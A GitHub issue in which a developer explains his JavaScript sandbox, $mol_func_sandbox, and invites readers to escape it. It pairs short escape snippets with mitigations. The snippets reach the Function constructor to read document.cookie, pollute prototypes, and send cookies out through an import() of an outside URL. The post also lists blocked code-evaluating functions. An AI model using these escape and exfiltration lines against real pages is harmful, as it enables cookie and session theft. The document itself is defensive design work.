nin-jin / HabHub

Peering social blog
The Unlicense
62 stars 0 forks source link

$mol_func_sandbox: hack me if you might! #33

Open nin-jin opened 4 years ago

nin-jin commented 4 years ago

Hello, I'm Jin, and I... want to play a game with you. Its rules are very simple, but breaking them... will lead you to victory. Feel like a hacker getting out of the JavaScript sandbox in order to read cookies, mine bitcoins, make a deface, or something else interesting.

https://sandbox.js.hyoo.ru/

And then I'll tell you how the sandbox works and give you some ideas for hacking.

How it works

The first thing we need to do is hide all the global variables. This is easy to do — just mask them with local variables of the same name:

for( let name in window ) {
    context_default[ name ] = undefined
}

However, many properties (for example, window.constructor) are non-iterable. Therefore, it is necessary to iterate over all the properties of the object:

for( let name of Object.getOwnPropertyNames( window ) ) {
    context_default[ name ] = undefined
}

But Object.getOwnPropertyNames returns only the object's own properties, ignoring everything it inherits from the prototype. So we need to go through the entire chain of prototypes in the same way and collect names of all possible properties of the global object:

function clean( obj : object ) {

    for( let name of Object.getOwnPropertyNames( obj ) ) {
        context_default[ name ] = undefined
    }

    const proto = Object.getPrototypeOf( obj )
    if( proto ) clean( proto )

}
clean( win )

And everything would be fine, but this code falls because, in strict mode, you can not declare a local variable named eval:

'use strict'
var eval // SyntaxError: Unexpected eval or arguments in strict mode

But use it - allowed:

'use strict'
eval('document.cookie') // password=P@zzW0rd

Well, the global eval can simply be deleted:

'use strict'
delete window.eval
eval('document.cookie') // ReferenceError: eval is not defined

And for reliability, it is better to go through all its own properties and remove everything:

for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ]

Why do we need a strict mode? Because without it, you can use arguments.callee.caller to get any function higher up the stack and do things:

function unsafe(){ console.log( arguments.callee.caller ) }
function safe(){ unsafe() }
safe() // ƒ safe(){ unsafe() }

In addition, in non-strict mode, it is easy to get a global namespace just by taking this when calling a function not as a method:

function get_global() { return this }
get_global() // window

All right, we've masked all the global variables. But their values can still be obtained from the primitives of the language. For example:

var Function = ( ()=>{} ).constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd

What to do? Delete unsafe constructors:

Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } )

This would be enough for some ancient JavaScript, but now we have different types of functions and each option should be secured:

var Function = Function || ( function() {} ).constructor
var AsyncFunction = AsyncFunction || ( async function() {} ).constructor
var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor
var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor

Different scripts can run in the same sandbox, and it won't be good if they can affect each other's, so we freeze all objects that are available through the language primitives:

for( const Class of [
    String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp , 
    Error , RangeError , ReferenceError , SyntaxError , TypeError ,
    Function , AsyncFunction , GeneratorFunction ,
] ) {
    Object.freeze( Class )
    Object.freeze( Class.prototype )
}

OK, we have implemented total fencing, but the price for this is a severe abuse of runtime, which can also break our own application. That is, we need a separate runtime for the sandbox, where you can create any obscenities. There are two ways to get it: via a hidden frame or via a web worker.

Features of the worker:

Frame features:

Implementing RPC for a worker is not tricky, but its limitations are not always acceptable. So let's consider the option with a frame.

If you pass an object to the sandbox from which at least one changeable object is accessible via links, then you can change it from the sandbox and break our app:

numbers.toString = ()=> { throw 'lol' }

But this is still a flower. The transmission in the frame, any function will immediately open wide all doors to a cool-hacker:

var Function = random.constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd

Well, the proxy is coming to the rescue:

const safe_derived = ( val : any ) : any => {

    const proxy = new Proxy( val , {

        get( val , field : any ) {
            return safe_value( val[field] )
        },

        set() { return false },
        defineProperty() { return false },
        deleteProperty() { return false },
        preventExtensions() { return false },

        apply( val , host , args ) {
            return safe_value( val.call( host , ... args ) )
        },

        construct( val , args ) {
            return safe_value( new val( ... args ) )
        },
    }

    return proxy
})

In other words, we allow accessing properties, calling functions, and constructing objects, but we prohibit all invasive operations. It is tempting to wrap the returned values in such proxies, but then you can follow the links to an object that has a mutating method and use it:

config.__proto__.__defineGetter__( 'toString' , ()=> ()=> 'rofl' )
({}).toString() // rofl

Therefore, all values are forced to run through intermediate serialization in JSON:

const SafeJSON = frame.contentWindow.JSON

const safe_value = ( val : any ) : any => {

    const str = JSON.stringify( val )
    if( !str ) return str

    val = SafeJSON.parse( str )
    return val

}

This way only objects and functions that we passed there explicitly will be available from the sandbox. But sometimes you need to pass some objects implicitly. For them, we will create a whitelist in which we will automatically add all objects that are wrapped in a secure proxy, are neutralized, or come from the sandbox:

const whitelist = new WeakSet

const safe_derived = ( val : any ) : any => {
    const proxy = ...
    whitelist.add( proxy )
    return proxy
}

const safe_value = ( val : any ) : any => {

    if( whitelist.has( val ) ) return val

    const str = JSON.stringify( val )
    if( !str ) return str

    val = SafeJSON.parse( str )
    whitelist.add( val )
    return val
}

And in case the developer inadvertently provides access to some function that allows you to interpret the string as code, we'll also create a blacklist listing what can't be passed to the sandbox under any circumstances:

const blacklist = new Set([
    ( function() {} ).constructor ,
    ( async function() {} ).constructor ,
    ( function*() {} ).constructor ,
    eval ,
    setTimeout ,
    setInterval ,
])

Finally, there is such a nasty thing as ' import()`, which is not a function, but a statement of the language, so you can not just delete it, but it allows you to do things:

import( "https://example.org/" + document.cookie )

We could use the sandbox attribute from the frame to prohibit executing scripts loaded from the left domain:

frame.setAttribute( 'sandbox' , `allow-same-origin` )

But the request to the server will still pass. Therefore, it is better to use a more reliable solution - to stop the event-loop by deleting the frame, after getting all the objects necessary for running scripts from it:

const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )

Accordingly, any asynchronous operations will produce an error, but synchronous operations will continue to work.

As a result, we have a fairly secure sandbox with the following characteristics:

But what about infinite loops? They are quite easy to detect. You can prevent this code from being passed at the stage when the attacker enters it. And even if such a code does get through, you can detect it after the fact and delete it automatically or manually.

If you have any ideas on how to improve it, write a telegram.

References